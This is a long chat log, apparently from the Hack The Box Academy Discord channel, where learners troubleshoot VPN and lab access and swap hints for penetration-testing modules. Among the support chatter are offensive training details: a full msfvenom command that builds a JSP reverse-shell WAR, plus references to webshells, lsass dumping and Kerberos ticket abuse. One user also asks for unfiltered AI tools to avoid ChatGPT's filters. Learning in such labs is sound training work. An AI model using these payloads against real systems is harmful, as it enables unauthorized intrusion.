#modules
1 messages · Page 262 of 1
There is no "competitive VPN" on Academy. Academy is just the educational resource HTB provides, sounds like you're on the wrong VPN.
Try changing regions.
no no Im saying I can connect to the app.hackthebox competitive VPN and it works. On academy im trying the academy VPN and doesnt work. Ive tried changing regions too but no avail
Try rebooting your whole system (not just vm)
Im using WSL2, rebooted entire machine. I was able to connect yesterday just started having issues today
Also tried UDP, doesnt really help
so it's either your computer or htb. you can try changing regions to something totally different like usa/eu or reach out to official htb support for htb platform issues. I'm unfamiliar with wsl so I can't really comment on that, but I know a lot of people have problems with wsl instead of just using a traditional vm. another thing you can do is reset your entire network stack and reboot your computer and try again
netsh i i r r
netsh winsock reset
you'll need to run these commands in an elevated command prompt and it's going to wipe any custom static ip/dns settings in ncpa.cpl's adapters
Still being weird.
Try pwnbox
that will rule out if it's your computer or the platform
don't forget to disconnect from the vpn if you use the pwnbox
OneUptime — the complete open-source observability platform.
Barely works on there either.
ah it's pwnbox issues
then reach out to support
Pwnbox just says "There are no available instances. Please try again later."
It’s just the spawn on that module.
The other module spawns work fine.
I wrote to support lets see
was looking at the status page to make sure
Guess I’m done for the night.
See how it acts tomorrow…
Yea, mine does that sometimes.
ooh
I feel like this is a "connect from India issue"
i tried SG server
Support will be back in an hour oof
ok
it is
at least for pwnbox
Even for VPN
so ovpn would be working right?
Right.
Everything is weird tonight.
Thats unfortunate. Well Ill wait an hour see what support says, keep yall updated
for me it's not night i just started my grind 10 minutes ago
I’m having issues with machines on a particular module.
Idk what’s going on.
starting a day with this error uff
I’m in US.
You must be in a different country.
Ive had that before but I just moved to a different module and stated there, terminated that and restarted back and seemed to work
Samsiessss
Okay so I can spawn a Pwnbox for UK region
so now on to VPN pack
Yes, imma gonna just get of the box for a few.
Check back later.
Hello Guys, I need some clarification
Attacking Domain Trusts - Child -> Parent Trusts - from Linux
I try to follow this module with my own Host by using tunneling with ligolo-ng
All commands in the module work on my host with the tunneling setup except the psexec.py and raiseChild.py commands. As you can see in the figure, psexec.py works fine on academy host but not on my own host.
does anyone experience a similar scenario and issue and how do you resolve it ? Thank you!
for kerberos auth you need to add the domain name/host name/dc name to your /etc/hosts
Okay guys so support kinda has no idea either 
ADCS Attacks > Certifried > I can reproduce the attack up to the certipy auth command. Then its always a timeout. I have tried adding -dc-ip, -ns, -dns-tcp, setting a high value to -timeout and rebooting/resetting the lab box 3 or 4 times. Any ideas?
I have also tried running the commands from the pwnbox, same timeouts.
You mean the PwnBox yes?
i saw a meme where people are cooling the transformer with basic cooler
Anyone having trouble with the Windows Event Logs and Analyzing Evil course? Specifically the tapping into ETW module? It won't let me post the screen shot in here for some reason, but I can't navigate to \Tools\GhostPack Compiled Binaries in Powershell as an Administrator as it keeps saying that the "Compiled" argument cannot be used. I'm a noob at this, and I can't seem to find any fix online, and been struggling with this particular part of the last week. If anyone has any suggestions, I would appreciate it!
When you have spaces in the path you should surround the path with quotes
Powershell was thinking your path ended at Ghostpack and thought u specified Compiled as argument
cd “C:\Program Files\”
This worked. I'm just struggling on finding what I need in the etw.json file now, and I appreciate your help.
i am currently at the module windows priv escalation, i need a admin powershell, but i cannot type in a "@" when i get prompet for the password, is that right?
is the box in UK keyboard layout 😅
i think so...
i tested with a notepad...but i do not find the "@"
I was half way into typing this
Can't do anything, have to reconnect openvpn every time
I am unable to connect on any VPNs
Seems like an outage
i brought up onscreen keyboard (this is my win10 VM)
on ur keyboard it shouild be "
I'm able to connect and ping for maybe 1 or 2 minutes
but then it becomes unreachable
Loosing all revshells and progress
Which VPN, region?
ah nice one, thank you!!
Yup yup, my current work around as well..
for me I am not even able to connect via VPN, ( though HTB lab VPN works fine)
I have tried eu2 , eu1, eu5, us1 ( TCP , UDP ) as well, and still no luck
tahts my problem
hmm hey thier
so u got the repo wrong
it asks for password and username because its a private repo
@tender nimbus
is the repo private?
as in can u see the repo in github on icognito tab?
if it is private and you want to clone it then install github cli
and then run gh auth login
You was right 🙂

it was the wrong git ^^ thanks for you help and advice
Hi. Yup, I, again, have a problem. I tried to install Ubuntu for wsl2 on my windows vm, I checked the right option on Virtualbox to do a nested virtualization, but I still can't install Ubuntu. When I do systeminfo in the vm, it says : "An hypervisor has been detected, features of Hyper-V will not be displayed". I tried turning off hypervisor on the vm but it didn't work too
Wouldn't be better to install directly Ubuntu if you are using VBox avoiding nesting things?
When I was in a bootcamp for web dev, they say Ubuntu in wsl is great 
I already have Parrot OS in another VM. I'm just following the module Setting Up, section Windows
sorry to border you again but do you know why i cant run the script here? Why should it be a zip?
Yeah when i want to launche the script i have this at info its about Pyphyser (educational purposes)
which script is this ?
what module is this for?
Its not for a module yesterday i was at Cybersec Europe 2024 and their was a lab where we used it so i was curious and i want to try it at home rn to see how this kind of stuff works
Module: Using Web Proxies > Burp Intruder
I have attempted to fuzz using the common.txt list on the target, the only things that show up as existing before the module times out is ||.hta, .htaccess and .htpasswd|| which are all 403 errors. I have looked in the source for all these pages for the flag, its not there. Im clearly doing something wrong if the module is timing out before I can find a html file. Any ideas?
Since AI like ChatGPT likes to filter questions if they seem questionable, do you have any open source AI or other AI tools you use that are unfiltered
Since intruder in the free version is damn slow I did solve it with FFUF.
EDIT: I have spin up the lab quickly and I had a hit with Intruder as well. I have unchecked the "Payload Encoding" (but shouldn't matter), and just make sure you placeholder is well positioned
@tender nimbus which company demoed pyphisher
Headmind partners, they did that to sensibilise other companies ao they awar of fishing
are you belgian?
Yupp
🙂
keep the conversation in English
How did you solve it with FFUF?
in the same way you do fuzz for directories but you add the -e flag for ext
👍
okidoki
i'm struggling with the end of module assignment for the module shells
Currently I am trying to exploit the first machine via the tomcat server
I have tried uploading a jsp reverse shell payload in war file format
the tomcat server seems to timeout when i upload the war file
Hey all, is anyone facing any high latency on Academy lately 1000+ ms in their region for Pwnbox
well I don't know and don't remember if there is a firewall I didn't check when I got access but anyhow which port are you using to get the revshell? I can see from my notes that I did this from the pwnbox for some reason and it worked
well i do it from the machine that has the foothold
since the tomcat server is on an internal network
it is and I didn't have any issue getting a call back
i can connect to the tomcat server
it's the upload that doesn't work
so clicking on the deploy button on the manager app the browser timesout
Ask su... wait a second

let me see if I have time to spin up the target, in case someone else will help you
Bro thay page looks scuffed I don't recall the page looking like that
Could be misremembering though
true that! I got the same feeling
And at least eliminates the feeling of it being scuffed
maybe i will spin up a proxy and use firefox on my machine
Brother
question for intro to malware static section, I placed the exe on the C:\Alpha\static but still no flag
Firefox exists on the jump host
strange i don't see it
Just type firefox in the terminal
Again
I am having trouble with HTB Academy module Password Attack - Pass the Ticket with Windows. I have connected to the target with RDP and opened a cmdline terminal. When I export the keys, I only get 2 keys for username MS01$, not any of the other users listed. I used Mnikatz and Rubeus and get the same results for both. What am I doing wrong? Need a hint.
This probably eliminates half your issues
Try dumping lsass?
Lsa != lsass
So they store different things
Will try that.
maybe i'm on the wrong page
that's the section of the page i am using to load the war file
That looks correct
mmm i figure
I generated payload using msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.1.5 LPORT=4444 -f war -o reverse_shell.war
I'm having trouble with Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux. I've tried getting GetUserSPNs.py to return the TGS for sapsso with both users wley and forend. TCPDUMP shows me reaching out to 172.16.5.238 and it not responding, eventually I get error 'Principal: FREIGHTLOGISTICS.LOCAL\sapsso - [Errno 104] Connection reset by peer'. Any hints for me?
Try changing vpn region
OK - which region do you suggest? I'm currently on US Academy 3.
ok will give it a try thanks
Hey MarcieLee. Thanks for the hint, but the problem was that I was stupid. Didn't use the cmd terminal as admin the first time. Everything is fine now, and was able to export all keys.
solved now right?
GM ! , Im new in HTB, I got into the pen testing job path , i don’t use the pwnbox, I use my own VM , every section exercise HTB gave me a VPN file to download and exec on my VM but as I am moving forward with new sections and modules when I have to solve a exercise HTB doesn’t show me the option to download the VPN file , should I re download the old VPN files i downloaded before? Or I suppose to download a different VPN every different section / module ? Thanks in advance
you'll only need to download it once
only reason to download again is if you're chaning vpn servers
Got it thanks 🙏🏼
I am doing RDP to the Target Machine and this is what I get? Any suggestions what might me wrong?
which module is that?
Its Windows Attack and Defense
hmmm i still get connectikon reset when trying to upload my war file payload to the tomcat server
ok, i've not done that one yet
Other section's machines are working fine, this section tho :((((
but the message you get seems like the workstation you are attempting to logon from is not joined to the domain perhaps?
But its HTB's own workstation, Thats not possible
Try EU vpns
It's still possible
perhaps it's then due to permissions
ALright lemme try
yeah indeed
The US vpns seem busted
i've tried a de vpn
Hiiii
There's no "de" vpn
it's strange though cos fair enough if the vpn is busted
but i wouldn't expect problems between machines on the other side of the vpn
There's EU-Academy-[1..5]
If i use kali linux instead of parrot is there any problem
nope
When playing machines
use whatever you like
Vpn dictates the target spawn conditions
Is that to me
Pwnbox region dictates pwnbox spawn conditions
It's in general
my bad
As I've repeated this ad nauseum
Hmmm
Pwnbox region != vpn region
Did kali have everything to play machines
I just tried with several us vpn servers btw @zealous rune they all time out; the EU one worked first try
If you're talking about machines on the main site, and not academy, wrong channel
no, a distro will not have everything you need to complete some boxes
thanks for testing that
Np literally uploaded instantly on the EU one, no waiting
Sorry I didn't know that
I just tried EU Academy 2 and the command I was trying worked. Both US Academy 3 and 4 are broken for this exercise.
Would you suspect that the VPN is working but perhaps the VM environment is broken? Or you combine those two generally into VPN when you say that?
At least for modules that may have internal networking
VPN dictates the target spawn conditions
If changing to EU fixed it; then something on the US VPN network is causing the VM to not spawn appropriately
is it recommended to use the pwnbox provided on the HTB website, or to vpn connect using a vm on your own computer?
Whichever is more comfortable for you
I generally only use the pwnbox to troubleshoot
I have more control over my own vm and tools
And I don't have to reinstall those tools every time I launch it
i'm downloading a kali iso and it's 3gb which is taking my computer forever to download 😭 so i just wanted to ask in case the pwnbox is, like, amazing in comparison to a personal vm
If changing to other vpns also doesn't resolve; then the vm env is broken
¯_(ツ)_/¯
Once you set it up it's more of a convenience thing
good enough for me, i'll wait out the download
Also what are you on dial-up? 100Mbps caveman internet?
i think my vm is better than the pwnbox in every way
im on my phone's data
except for python
That's because it's yours 
exactly
Oof yeah tethering sucks
Especially depending on your carrier
Thanks MarcieLee - does a status.htba.com exist or something similar? Would be good to know to avoid something not working right.
the only thing the pwnbox has me beat in is having python 2.7
OneUptime — the complete open-source observability platform.
Skill issue
*2john begs to differ
worked
TY
thanks
never used a 2john script in my life
Well if you do password attacks, you'll use it
furustrating, but that connection on the reverse shell listener makes it worthwhile!
fuck!
:)
(Venvs are the way to go)
Or if you're brave enough, debug the script
To make it work with 3
Blackarch is also 10x more work to set up
is there something up with the pwnbox instances? i keep getting this popup
Try changing pwnbox regions
i did
but i keep getting the error
also when i try to rdp via my kali, rdp cannot connect to the target ip. Ive been trying to do this exercise for the last 3 hrs and i just keep having issue connecting to the target
tried all eu servers
Since I had experience this issues yesterday
I get fixed by download the ovpn again
Pwnbox region != vpn region
Downloading the ovpn would have no bearing on the pwnbox
Pwnbox region = Pwnbox location right?
I'm based in SG and ive never had issue with the latency wile using sg pwnboxes. but sometimes i do swap around the eu servers when the sg latency gets very high
Yeah latency can be a factor with vpn+pwnbox
but tonight, i just have difficulty getting the pwnbox to start and/or getting rdp connection to the target via kali :/
¯_(ツ)_/¯
I take it the target is meant to be rdped to
Also when you change the vpn region you have to respawn the target
yea it's this exercise
😮 really
Yes
ok i'll try that
Again vpn region dictates target spawn
Your initial target spawned on your first vpn server
And if you don't reset it, it remains on that server
ok - retrying
How does one redirect traffic to ZAP? ZAP doesnt seem to have a built in browser like burpsuite.
getting this when I try, must be doing something wrong
Is zap open when you have the proxy set?
yup, that it is
Also are you using the extension "FoxyProxy"
I wonder if I can do the zap questions using burpsuite 
Probably
and nope, am not
They both do the same thing
plugins like foxyproxy and switchyomega quickly let you set proxy settings fro your browser, or you can manually set them. From zap you can choose manual scan and launch a browser which will launch with the proxy already configured
Zap just doesn't have the limits that Burp does
what one of these would I use to convert my payload to md5?
server is expecting an md5 of a username
(trying to fuzz to get a cookie)
nvm i just converted it to md5 manually
finished the shells module
thanks all for advices
thanks @fathom pendant for the shout to use a different vpn
had me stuck for a good while
Yeah the vpn's seemed quitte buggy today
np i'm chatting with support now about it :) told them that the US VPNs seem to be having issues
the EU one worked first shot
yeah. it's actually quite a tricky little thing. Cos i never even thought the vpn could cause this issue, since the interactions were between machines on an internal network on the other side of the vpn
it wasn't even like i had crazy latency between my machine and the rdp foothold machine
Module: Introduction to Windows Evasion Techniques
Missing tools folder?
does the module state there's a tools folder?
What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?
does anyone know how to find this
hmm i think this might have come up before
but I've just completed teh shells module and it doesn't show as completed in the Dashboard
under cpts, PHP web shell
Use what you learned from the module to gain a web shell. What is the file name of the gif in the /images/vendor directory on the target? (Format: xxxx.gif)
i can upload the php file but when i redirect to the following path. /image/vendor/connect.php if show not found errror. can someone guide me. thnk
yea
can anyone please help me
reseted twice now
there's a find command they give you
they also expect you to be ssh to the target
as per the first question instructions
You are on the wrong VM. The tools folder is only on the Evasion-Dev VM
this is the part i am confused with
Oh yea. Thanks
then when it prompts to password you can just paste the password
[terminal you need to add shift to the paste shortcut]
what exactly confuses you about this?
i believe the module/section tells you how to connect via ssh
you messed up the error redirect
^
put a space after the last character
2>/dev/null shouldn't have anything directly before it
I did that but it’s not bringing out any error message or any output
you're missing the - before 28k
-size -28k
also
it's -name *.conf
it seems like either you copy/pasted wrong
or you changed things in the copy/paste without knowing
from what it looks like there's some missing info for it to grab what you're looking for
(note the error redirect also hides if it doesn't work)
Module: System Management
Section: Task Scheduling
Link of Section:
Description:
I don't understand what answer this question expects... 🤔
Module:
Section:
Link of Section:
Description:
follow this format when asking question
systemctl cat [servicename]
you can see a lot about systemctl using man systemctl
can yall pin this?
so i did this, its ok?
feel free to do so
we plebs can't
it's up to mods/admins/staff
and even if it's pinned no one reads that shit
so...
would be nice is others did that, it really helps speed up replying to a question
ikr
heck half the time people's questions have been answered via searching
also very true
just let it complete
Actually I would have detailed the section/module for other questions.
But for this one I supposed that the question was precise enough for it to not being relevant
ok
don't do ctrl-C or anything
when you ctrl-C it cancels and doesn't provide any output
it still helps
its normally that its take a time?
too many people just repeat the question and don't state what they have/haven't tried
it can take a few minutes; take into consideration that it's 1 identifying open ports and 2 running a version check against the found ports
normally running nmap scan on pwnbox will save more time
eh
i wouldn't advise just spinning up the pwnbox to do nmap scans
not to mention it can cause more issues if you don't terminate your vpn connection
ok, but now i cant see the vs of the port 8080
is vpn working for everyone?
what is your goal?
Yes, try switching to a different server or re-download the config if its not working
VPN issues? Slow connections? Can't reach machines? Start here!
it is working for others?
i try to compler Service Scanning in getting strat
and i asked" Perform an Nmap scan of the target. What does Nmap display as the version of the service running on port 8080?"
sudo nmap <ip> -sV -sC -p 8080 --min-rate 1000
Review the section, the answer on what you need to do is there
there is something wrong with academy vpn it doesnt work
there's very little point to using --min-rate if you're only hitting one port i think
does vpn work for anyone?
Again yes VPN servers are working. I provided a troubleshooting guide from htb to help you out. Reach out to support if you are so set on it being on their end.
<@&861185840277487616>
i tried running normal htb machines vpn and it works fine
Oh sry my bad
Sry bro fr
i downloaded new vpn connection file and it doesnt work so i think from myside its fine
Try a different server then
i switched from eu to us
ty
so i run nmap again and its still didnt work for me
You're leaving out a very important flag for nmap that will provide the results you seek
amm and what is that?
review the section you are on, the section provides an example
ok it works now
sC? or p?
You asking or trying? 😛
both🙃
-p- tells nmap to scan all ports, default is top 1000, you can also do -p 22 to scan a specific port, I will let you read up on the other one 😉
combine into -sVC
use sudo
whats the point of silver anual subscription
montly billing for a year is 216 but annual is 490 how does it make sense
even now
same with gold how come its 1260 its just scam lol
..
The annual subscription gives you access to the mentioned content right away, while the monthly one gives you a certain amount of cubes, well, each month.
If those cubes are not enough, you'd have to wait one month to receive more.
The monthly subscription may be cheaper in total, but it also takes longer to unlock a given amount of courses.
what if i buy silver monthly and then cancel and buy again like this for 12 times
Well, that's the trade-off.
More money for instant access, or less money for a more "time gated" approach.
Thank you @tranquil axle , that was the solution.
The annual subscription also includes an exam voucher and the option to view a walkthrough
Against what is your running this one
I did that accidentally, (i was checking whether clicking another subscribe button, will it give me a popup for card details, but it just went through without giving me any pop up), fortunately, the help staff, gave me back ny previous subscription and cancelled the new one.. (also there was a renew option that you had to wait for a month before buying another monthly subscription,)
Annual also includes a voucher $250 plus some other perks
i cant afford it anyways
You can also buy a Platinum subscription. Then you get 1000 cubes per month
hmm platinum seems a good option
im still at 70 cubes 😭
You aren't connected to vpn, that's why i think you get Http 404 error
Skill issue
If they weren't connected to vpn they wouldn't see the port as open
Ooo,
so.. what is my problme?
Not yet i had to leave so still the same problem with the ZIP problem
Likely the vpn, are you using a us academy vpn?
If so, switch to one of the EU ones
To do so; first ctrl-c on the vpn that's running
Then switch to one of the EU ones and download a new vpn
Note: you'll also have to respawn the target
It could also be that it's designed to be a 404
¯_(ツ)_/¯
Module context matters
In future; please include module name and section name when asking for help
It helps others provide better troubleshooting than guess and check methods of troubleshooting
is the username for the attacking gitlab section in attacking common applications on the xato list in seclists
Child
Sit down and do your work
If you want more cubes, buy them
You can't go + in cubes by just doing modules
Tier0 gives back 100%, tier 1+ gives back 20%
There's never a net gain
I mean
I found the keytab of user ||svc_workstations|| in crontab and used it to impersonate
It kinda tells you what to do
||keytab extract||
There's a subsection regarding it
||keytab extract|| gives me ||AES-256 HASH|| hash for user ||svc_workstations||
and i cannot find other keytab
are you sure? Have you done a ls in the directory?
could someone help on this
Use whatever wordlists the module primed you to use
😂 found it
perfect hint
do you know javascript
I barely know English my guy
Lol no
wtf are you doing here then 
ok can you review my add-on please
No
As it has nothing to do with an academy module
Go to #programming (read and follow #welcome to access)
host unreachable, seems like the host isn't online
hey team can some one help me with password attacks module and Pass the ticket from linux section last question
dont ask to ask buddy just paste the questions here
“Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_).”
Well, did you find the ticket?
with this question
What have you tried
Hint; use the tool showcased at the end of the section
It should reveal some nice keytab and ccache file locations
Also the full usernames for this section have been user@domain
as i understand i need to use both of them right?
Only one or the other
If you use the ccache you don't need the keytab and vice versa
do i need to add @inlanefreight.local or something to the username
Hey! I was wondering if anyone could help me figure out how to read the contents of a text file with SMB. I am new to all this so if I need to supply more information let me know.
is this right cache?
I'm not answering yes or no. Try using it and see
Try and fail before asking
Brother
Still a spoiler
As it contains the filename
download the file using get <FILENAME>, you can read it then
That works too
This worked. Thank you so much! I was stuch here for a solid hour banging my head against a wall 🤣
I did this and it told me the size and length but not the contents.
Man its my first day 😭
Holy wait you are so right I just had an aha moment
😭
I believe you can also do !cat filename from within smb (if you're on linux)
! Indicates to smb you want to run a command on your local system
Neat! Thanks so much again for the help!
ive found the username ||hacker||, but it still doesn't accept the answer
nvm
did you get it?
for the Mongod machine. how am I connect? bash: mongo: command not found
Wrong channel, read and follow #welcome
This is a starting point machine yeah?
#starting-point would be the place for it
Also (install the tool)
Read again what Marcie has written. Especially the part with #welcome
thanks
@errant siren i have the same problem too
i feel like there is an error getting the flag
i dont think people have even done that module here
There are people that have
they just aren't active
you can also chill out
have you tried changing vpn regions and doing your enumeration again? I take it the module taught you basic enum tooling
So many people sign up and don't do anything
yeah it's insane
The module describes a program with which you can enumerate a WP site. Use it
Every user who has created an account at some point is counted. Whether active or not
hacking WordPress Skill Assessment - Bullshit Module
The program mentioned above shows you everything you need to know to find the flag
You don't need a shell to find the flag
what?
Just dumped all my cubes to revisit the basics of EVERYTHING apparently the only good thing about my computer is showing me how much of an idiot I actually am.
Thank you technology...
stares at my pc what are you hiding from me
Binary exploitation is a core tenet of penetration testing, but learning it can be daunting. This is mainly due to the complexity of binary files and their underlying machine code and how binary files interact with computer memory and the processor. To learn the basics of binary exploitation, we must first have a firm grasp of Computer Architect...
Gz
nice flex
someone help with this?
Probably not, this isn't the place for that. This channel is about the modules on the HTB Academy platform.
is #red-team more appropriated?
Feeling like an idiot is a natural side effect of learning something new. Some days, feeling stupid is basically all I do. Also I routinely go back and revisit fundamental modules. The fundamentals are everything. Don't be hard on yourself if you like like you're learning too slow, or having difficulty grasping a certain concept. The content here is meant to challenge you.
Rocky fundamentals can lead to bad habits
Anyone have any tips for this Evil-WinRM error: Error:
An error of type HTTPClient::ReceiveTimeoutError happened, message is execution expired
Error: Exiting with code 1
I'm doing the Attacking Enterprise Network module and I've uninstalled and reinstalled the latest version of evil-winrm, ruby, etc. Tried a custom OpenSSL conf file and that's not helping either. I've tried accessing the necessary host via RDP but that's proving unsuccessful as well
Edit: Should add I'm on ParrotOS in case that's relevant
looks like a timeout connecting to the target. i think evil-winrm has a timeout argument -t <seconds>, try a larger timeout window
Yeah I was looking for a timeout argument in the help output but there wasn't one. I tried it just now and it's an invalid option
I know xfreerdp has one which is helpful wish there was one for evil-winrm
If you're running the US vpn, try EU
Okay I'll give that a shot
I wrote to support a while ago regarding US vpns being terrible
Thank you so much it worked! You have no idea how much this has been frustrating me, since last night I was trying to get this to work
Again US vpn being shit has been brought up to the support team
So hopefully they fix it
last seen 7 hours ago
Was my chat with a support rep earlier today
yes I have a problem with the VPN too
@west canopy @fathom pendant Thanks for the words of wisdom.
I stumbled a bunch
and some of it was me just learning to just read the god damn question 
However, first of all, we have to fail. It is an unavoidable and essential part of learning. This is one of the parts of the learning process which make us successful. Experience is built on failures. It explains that we know how to handle different and sometimes adverse situations where something does not work as expected.
This was much needed lol
check the last line and the whole thing
As long as you question and learn why you failed you will ultimately succeed
This is the way
Why did this command fail? Oh I missed the syntax --> fix
my guy that was about a month ago 😭
in nmap module in port scanning section, it says (i think) "if the filtered port scan takes long time, with syn scan(-sS), it means the port is unreachable due to other reason... then it sends a ICMP request to another filtered port as an example where the output is received fast, with an ICMP error code 3, indicating that the firewall on the port is rejecting the packet".
is the statement true, or i am not understanding something?
my understading is that, if its even a -sS option scan on filtered port, and it takes longer time, it's due to other reason, and if takes shorter time, it's due to firewall?
you're thinking backwards
If you suspect a firewall, try -V5
if you're scanning -sS directly on a filtered port that's different
in my experience, something like a host based firewall (i.e. Windows Firewall) will have a port show as filtered
thanks
filtered is just nmaps way of saying whatever packet we sent did not get any response from the server, period.
under the ICMP error 3 (Host unreachable) there's several sub-errors as well
which may get sent back
if a port is closed , it responds with RST
the iana link i sent earlier contains all the ICMP errors
RFC 792 and RFC 1812 cover ICMP error code 3
https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml#icmp-parameters-codes-3 -- direct link to section
marcie you never cease to amaze me with your knowledge on these niche things
i think of ICMP as a ping pong ball
mastered google-fu
and who better to trust about a protocol than IANA
thanks
if you're getting a reroute, it's ICMP error 5
don't tell them we just google the answer or they'll start trying that first
ICMP is just traceroute, professional ping pong but with ores as ping pong paddles due to regulations of the sport
hhhhh
I mean, im surprised the default answer to peoples questions hasn't just become "Use ChatGPT bro"
traceroute is built on ICMP
i think linux traceroute uses UDP by default though?
asking from an experienced person directly is different, their answer make sense more
it depends
Yes, ICMP is pingpong, and traceroute is with ores and you have to wear something sexy for the crowds
but i think most stuff now uses TCP/IP stack protocls
there's nothing wrong with asking for help, and i wasn't really talking about you specifically, we get a ton of people who just don't google the most basic stuff first. more making a comment on it in general.
^
true
i will be the first to say no one ever got anywhere alone, we have all learned from someone. where would humanity be without each other.
he was more making fun of the fact that half of the time my answers are just "Googled it"
I dont make fun of people, I make people with fun
ayo???
Don't sweat the petty things in life, pet the sweaty things
AYOOO?????
Cybersecurity is just an expression of my ego
(HUGE)
Hope they announce the new CRTO competitor cert tomorrow
he man. Ive been experiencing the same thing for 3 days now. 3 nights ago i was able to login to the DNN portal download the .exe files nec. for priv esc. executed them and got a reverse shell as the NT Authority user on dev01. Got late and I shut it down thinking the persistance we had set up i could get right back with no problem. hahahaha yeah right. for 3 full days now, 3 new vms, anything and everything i could think of. Ive messaged support a couple of times. the login portal will load right up. But after entering creds it just times out. please tell me u found something....
Honestly I just kept respawning the target until I could log in without issues wish I could give you a better answer than that. Try switching your VPN servers I did that too and today that solved another issue I was having today . I switched from US To EU VPN today and that seemed to really help with connection issues today
I have done all that. so thats what you done, kept messing with it until u found a host that would let you log in?
thanks man. That helps more than u know. I'm trying to figure out what I'm doing wrong u know. But hey, Ive went back through the module several times... lol
Might be a good time to learn how to script your exploits
anyone knew this?
Looks like you are navigating to a file
Don't do that, navigate to the directory
Just go to /images/vendor
then ls
Are you trying to execute a webshell?.
genuinely what you could be doing wrong is using the US vpn file
you might need to use a tool like burp as shown in the module to check this
you have the webshell correct?
you should be doing navigation from within the shell
this module is VERY MUCH step-by-step
I also take it you're referring to the "Shells and Payloads" module
as there's no "PHP shells" module
¯_(ツ)_/¯
Blud dipped immediately too, yee haw 🤠
for some other modules i can see some questioning
but this specific module is step-by-step
because the focus is on actually interacting with the shells
as each type of shell has their own ways
basic webshells being the ?var="system command"
The road to shell is paved with good intentions
(and misconfigurations)
oh switch to a diff vpn server
you're a day late and a dollar short on that suggestion lmao
yeah i just saw when that was posted T-T
It seems the US VPNs are having issues with targets that have any level of internal networks
it randomly went to a day before chat
but discord is improving
US VPN seems fine for single hosted targets (at least afaik, haven't tested)
Messaged support earlier, they said they raised the issue and will get back when resolved

yeah. correct. just to check i need to change the content-type right to images/gif before forwarding in burp.
I don't know if i'd say improving. There are far less people around in general, and to help with questions, and the mods still seem impossible to get help from
I've been trying to get my account verified for over 24 hrs now so I can use the other channels, and it seems I am being ignored
i meant discord as in the app
dont u just need an account identifier thats found on your htb acc
you do
but if it's linked to another account, it has to be first unlinked for you to link it again
ah i see
How do I unlink it? That account is deleted
backend basically ticks a true/false flag
you can't a mod/admin has to
support has nothing to do with the discord
That was my impression too
no not discord, htb
@urban sage can we hook this man up
This isa discord related issue
linking has nothing to do with the platform
ohh
I reached out to Nightwolf, he is busy
i mean we can see if @slender shoal can do something
Also reached out to him
¯_(ツ)_/¯
Started with Tejas, thanks for the support though, marcie
i haven't seen him do much of anything in the past like month
patience my child
Yeah i would generally go with people who have the "mod" role
not Staff in general
I am patient, it's just I understand this discord has lost alot of members and grown in mods, but mods are not around to help
Just something I have noticed
And most mods are volunteers
the ones that also happen to be staff aren't employeed to be discord help
Huh? I was under the impression they were given HTB enterprise accounts
because you care about the community and want to see it grow positively
One moment. I'm almost to a proper keyboard.
BUT YOUR POINT IS VALID
Any communities with nerds are bound to be horrific
eh up until recently moderation was fairly consistent, then THE INCIDENT which i'm not gonna get into and has already been discussed ad nauseum
Sounds scandalous
just decisions that people didn't agree with
I am not interested either way, just here for the Certs
but again decisions nonetheless that we don't know about
based and redpilled
Complete side tangent. I've lost count over the years the number of distinct unrelated events "the incident" has been used to refer to. 😂
yeah
Must have been here for awhile...
Sr. work the same as real-life? 7 years of service?
Thank you @urban sage
I've been around in the server since 2019 in some capacity. I haven't been a moderator that entire time though.
Evening all.
Module: Using Web Proxies > ZAP Scanner
I am struggling to find the vulnerability im meant to use here despite following the instructions in the thread. Im not sure if im blind or if im doing something wrong. Could someone give me a hint and what I should be looking for?
It can take a bit to find it
note it will be a "CRITICAL" vulnerability
i think it took like 5-10 minutes to find it
I think the first vuln I found wasn't what they were looking for so I just had to wait
I could never get anything higher than a med when I did it, and I waited for the scans to finish.
So i've managed to get ||Remote OS Command Injection|| from the results. That being said im not sure how to exploit it, it isnt clear from the result. Is this something I should jump into msfconsole or?
disregard, figured it out
Is shells and payloads skills assessment module laggy or is it my machine?
The whole platform is laggy today
I'm on that one. Having a hard time with the first host. Browser keeps timing out when I upload. Going to work on something else in the meantime. You using VM or pwn?
The user is good but this is the full name not username
what does that number mean
hi guys
Hi Guys i need help some help
im trying to solve this question from htba password attacks (Find the user for the SMB service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.) and i found the password and loged in to the smb and them cd to a share directory but i cant list its content i tried everythinggg !!
smb: > dir
NT_STATUS_ACCESS_DENIED listing *
i really need help
which tool you used to bruteforce password
i already found the creds i used hydra and carckmapexec but i cant list the connent of the shared folder
content *
use metasploit
as shown in module
and dont stop even after getting correct creds
sure i will try it right now
i solve it Thank You soo muchh dude <3333
i am also doing password attack module.
Great i wish you all the luck !
I suggest skimming over this section again, the answer is there
done, I made it complicated for myself
It's alright, that section is a long one
took me some brain power aswell
attacking common applications. skill assessmet 2. any hints for enumerating nagios xi for password?
why i keep getting this errors ? "Connection reset by peer"
is this a connection error ?
go back and "check in the fox", I think me and you can get away with this without spoiling to much
You using pwnbox and connecting with a vm? The connections will conflict then.
Yeaaahh
Introduction To Splunk & SPL --> open the "Search & Reporting" application, and find through an SPL search against all 4624 events the account name that made the most login attempts within a span of 10 minutes. Enter it as your answer.
The query i've used:
||index=* sourcetype=WinEventLog:Security EventCode=4624
| bucket span=10m _time
| stats count by _time, Account_Name
| sort - count
| head 10||
But all accounts found this way dont seem to be the right answer. I've tried some scrolling and sorting but didnt get any other accountnames. Any hints?
Introduction To Malware Analysis: Skills Assessment. I can't figure out the answer to the last question. Tried following the hint and just not getting it. If anyone can help I'd be grateful. 🙂
Hello world
Try to answer instead “which accounts only logged in in a 10m window and never before or after again and of those which has the highest successful logins”
kind a stuck here...WINDOWS PRIVILEGE ESCALATION / Other Files
i want to analyze the plum.sqlite file of the notes app. but i can't change the execution policy and therefore can't analyze the file directly on the windows host. but i also can't get it to the linux host....
Pwn
I'm working through the Footprinting module and am trying to get through the DNS exercises. I am down to the last one looking for the FQDN for the host with IP ending in 203 and can't find this host. I checked the hint and have tried almost all of the wordlists from SecLists with dnsenum. Anyone have any ideas on what I'm missing?
You have to find all the zones.
Take the smallest list. If you can't find anything, take the next largest list. Lists with 5000 entries are too big
Is it even right to concentrate on this file?
Okay, thank you! I'll give that a try
